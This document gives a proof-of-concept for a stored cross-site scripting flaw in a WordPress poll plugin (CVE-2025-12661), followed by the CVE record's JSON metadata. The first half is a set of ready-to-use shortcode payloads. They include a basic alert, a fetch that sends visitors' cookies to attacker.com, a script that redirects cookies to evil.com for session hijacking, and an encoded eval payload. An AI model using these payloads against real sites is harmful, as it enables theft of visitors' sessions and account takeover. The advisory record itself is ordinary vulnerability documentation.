CVE-2025-12661

<!-- CVE-2025-12661 PoC: Stored XSS in Pollcaster Shortcode Plugin --> <!-- Requires contributor-level or higher WordPress account --> <!-- Basic PoC - Inject malicious script via height parameter --> [pollcaster height='" onerror="alert(String.fromCharCode(88,83,83))" x="'] <!-- More sophisticated PoC - Cookie stealing --> [pollcaster height='" onmouseover="fetch('https://attacker.com/log?c='+document.cookie)" style="xss:expression(open(0)"'] <!-- XSS payload for session hijacking --> [pollcaster height='"><script>document.location='https://evil.com/steal?cookie='+document.cookie</script>'] <!-- Event handler based XSS --> [pollcaster height='" onload="eval(atob('YWxlcnQoJ1hTUyBDb250YWluZWQgJyk='))" x="']

{"cve": {"id": "CVE-2025-12661", "sourceIdentifier": "[email protected]", "published": "2025-11-21T08:15:53.700", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Pollcaster Shortcode Plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'height' parameter in the 'pollcaster' shortcode in all versions up to, and including, 1.0. This is due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/pollcaster-shortcode/tags/1.0/pollcaster.php#L33", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/pollcaster-shortcode/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/120ba9e5-9594-4a4f-b475-ef3fcf5f4565?source=cve", "source": "[email protected]"}]}}